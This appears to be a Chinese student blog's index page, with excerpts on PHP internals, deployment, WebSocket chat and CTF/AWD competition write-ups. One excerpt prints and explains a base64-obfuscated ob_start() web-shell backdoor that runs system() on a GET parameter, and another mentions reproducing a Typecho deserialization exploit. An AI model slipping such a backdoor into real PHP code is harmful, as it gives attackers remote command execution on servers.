『自闭 PHP 内核』 vol1. 来写一个 PHP 扩展吧~

之前学 C 语言的目标,就是想有一天能去看 PHP 的底层源码。一直对 PHP 挺惊讶的,她是一个很容易上手的语言,但是却是使用 C 语言编写的。C 语言原生能实现的功能,所含的库就不多语法残废,又十分地接近系统底层;很难想象像 PHP 这么一个语法宽松随便的语言,是怎样用 C 实现的。 之前在协会分享会时,Hammer 学长曾带着我们去看了 PHP 源码中关于弱类型比较的部分,还用 gdb 一步

聊聊 PHP ob_start() 在开发中的应用

先从安全聊起 上周六协会 AWD,其中的 web1 中,有一个ob_start()的后门,具体代码是这样的: @ob_start(base64_decode(‘c3lzdGVt’)); echo “$_GET[persistent]”; @ob_end_flush(); 参照 PHP 的文档,我们其实可以知道这个后门的原理。 c3lzdGVt这一段,base64_decode出来的即为system

Vidar-Team 内部 AWD 线下赛总结

今天六一,协会举办了大一第一次线下 AWD。 很开心最后我们组能获得第一。虽然上午被疯狂 Check Down 到自闭,但下午全靠 Moesang 大佬弹了四五个 Shell 疯狂cat /flag,同时 Y 也把 Pwn 给修好了。一下午就没怎么 Down 过,除了我中途修坏了一道 web 才 Down 了一轮。(是我太菜拖大家后腿了嘤嘤嘤 这也是我第一次打 AWD 啊。 这几天都在给 Lian

《高性能 PHP7》笔记

类型声明 PHP 作为一个弱类型的语言,加入类型声明,真是一件大好事啊!这样确实能够减少很多 bug 的产生,今后也要试着养成写类型声明的习惯。 形参类型声明 function foo(int $num){ echo($num); } // foo(123); -> 123 // foo(‘123’); -> 123 // foo(‘asd’); -> PHP Warning 这

Typecho install.php 反序列化漏洞复现

昨天0ctf,唯一的一道 web 还是 Java,那个鬼椒的 hint 也是无语。直接自闭了。 对面的 bin 爷爷肝的不亦乐乎,web 狗只能在角落摸鱼。 之后我便去复现周五协会培训时司大哥讲的 Typecho 反序列化漏洞。之前听的时候,到后半部分有些理不清了,自己尝试的时候才差不多搞明白。 其实反序列化难就难在 pop 链的构造,真的是一环套一环啊。需要明白哪些变量使我们可控的,有哪些魔术方

反思一下近期的自己

昨天和同学去协会坐了一下午,打算去和写后端的大佬配合修 bug 的。 期间听到学长们的对话,司大哥看我之前读过 CodeIgniter 的源码,便问我 CodeIgniter 为什么比 ThinkPHP 更安全。 唔……这还真的涉及到我的知识盲区了。当时支支吾吾地说不出话。 感觉开学以来没那么有动力了,是因为在肝项目没去学新的东西了?我不知道。 感觉这样下是肯定不行的。前方

我在 Cube 中加入了 Google Authenticator 登录验证

真是巧合,我居然又是造轮子 在高三上学期在宿舍洗澡的时候,我突然脑洞大开,想到了一个生成六位随机数字进行双重验证的东西。 到周末回家的时候花时间写了出来: OneCode https://github.com/wuhan005/OneCode 你也可以看看我当时介绍她时所写的文章。 当时还给她设计了个 Logo 来着,回想起来不禁觉得自己当时脑洞也真是挺大的。 但脑洞归脑洞,这个应用也像我的一大堆

终结!这可能是目前最好的 PHP 部署工具了

提问:怎么把大象放进鲸鱼里? 开过一些坑,写过一些有意思的 PHP 的程序或小工具。说实话,我是真的挺喜欢 PHP 这门语言的。 她开发迅速,很快就能将突然之间产生的灵感做出来。 有了几台学生机后,我便尝试着把自己写的东西都放到上面去。凭借着 Docker,管理起来还算是“整齐有序”。 都说程序员会想尽办法偷懒,“偷懒”也一定程度上也决定了生产力。 确实是这样的。 过去的很长一段时间里,我都在寻找

第一次合作写一个项目,感触颇多

ひとりじゃないよ 一直以来,我都是一个人瞎写一些东西玩的。自己突然有了脑洞就开一个坑,但真正能填完坑的不多。 之后做外包的时候前后端也都自己一个人写完。一切全都是按照自己的想法心情来。好在对自己也算是负责,很少出现那种看不懂自己的代码的窘况。 有人说 PHP 是一门适合个人独立开发的语言。现在也不是很明白为何这么说。其实只要大家之间商量好,你写哪个 Controller,我写哪个 Model,约定

PHP Swoole 实现 WebSocket 聊天室

实时的,在线的 一直以来我都在回避去做一些需要“实时”的项目。比如在线自动匹配、在线发送消息等。 究其原因还是没太接触过这方面的知识,并不知道用什么技术实现,总感觉会很麻烦。 但是最近学校有个微信小程序的项目,有用户实时聊天的需求。 抱着多学习一点东西的想法,我居然给接下来了! 刚开始是在百度上粗略地找了下聊天室的实现原理,发现了一个用 Java 写的在线 Web 聊天室。体验了一下,还不错,甚至

赛博协会新生测验 Web Writeup

昨晚补完刀剑后又看了一会手机,睡得有点晚。今天早上十点多才起,想起赛博今天有新生测验,马上跑下床打开电脑。 嘛,还是挺有意思的,学到了不少东西。虽然刚开始跑偏了,差点想放弃2333 那么,我们来看看这些题吧: Web1 这是一个搞逆向的学长出的 web 题。嘛,确实有些地方有点不太“安全“吧,之后我会提到。 假的杭电认证 进入题目,输入1进入第一题,然后直接跳到了连接校内 Wifi 的登录认证界面

记录在 Docker 中的搭建 WordPress 的小尝试

事情是这样的 我的这个博客 Light Cube,从 2017 年 3 月迁移到老薛主机以来,速度和稳定性越来越差。因此我想将其迁移到我阿里云的学生机上。 想着自己都是个大学生了,如果再用宝塔面板这种可视化界面未免就有点 low 了。 因此,我选择了 Docker,这一选择让我又爱又恨。爱它的操作便捷,恨它的配置奇葩。 趁着这会儿 github.red 域名还在备案,我先自己尝试一下。 PHP 开

《深入理解 PHP》笔记

今天把两个月之前借的书——《深入理解 PHP:高级技巧、面向对象与核心技术》给看完了。 也算是有不少收获的,不仅温故熟悉了一下面向对象,也学到了很多新东西。 故写篇文章总结记录一下上面个人感觉比较重要的点,作为以后开发过程中的备忘。然后明天去图书馆把这本书给还了。 使用 printf() 和 sprintf() PHP 是使用 C 编写的一门解释型语言,因此会发现 C 中的很多库函数其实在 PHP